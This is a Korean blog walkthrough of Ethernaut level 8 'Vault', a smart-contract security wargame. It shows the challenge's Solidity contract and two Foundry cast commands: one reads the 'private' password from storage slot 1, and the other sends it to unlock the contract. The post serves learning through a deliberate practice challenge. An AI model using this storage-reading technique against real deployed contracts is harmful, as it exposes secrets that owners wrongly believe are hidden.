[Ethernaut] (8 Vault)블록체인2024. 12. 25. 02:52
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
금고를 해체하면 되는 문제다.
블록체인에서는 private로 변수가 설정 되어 있지만 읽을 수 있다.
❯❯❯ cast storage --rpc-url $RPC_URL 0x7B6dCCC1a971BAA6112aB1cC9ccFFca8d849eE43 1
0x412076657279207374726f6e67207365637265742070617373776f7264203a29
cast로 1번 슬롯에 저장되어 있는 값을 읽어온다.
그 뒤 cast로 전송하면 된다 :)
cast send --rpc-url $RPC_URL 0x7B6dCCC1a971BAA6112aB1cC9ccFFca8d849eE43 --account Burnnnnny "unlock(bytes32)" 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
그리고 요즘 블로그를 안썼는데 좀 쓰고자 한다. 요즘은 WEB2.0보단 WEB3에 관심이 많아서 좀 기록용으로 작성좀 하려고 한다.
그리고 좀 공부를 요즘안하고 나 스스로 반성이 많이 된다.
뭐라도 좀 써야지
'블록체인' 카테고리의 다른 글
| [Ethernaut] (9 king) (0) | 2025.01.17 |
|---|---|
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
| [Ethernaut] (7 Force) (0) | 2025.01.02 |
| [Ethernaut] (5 Token) (0) | 2024.12.25 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.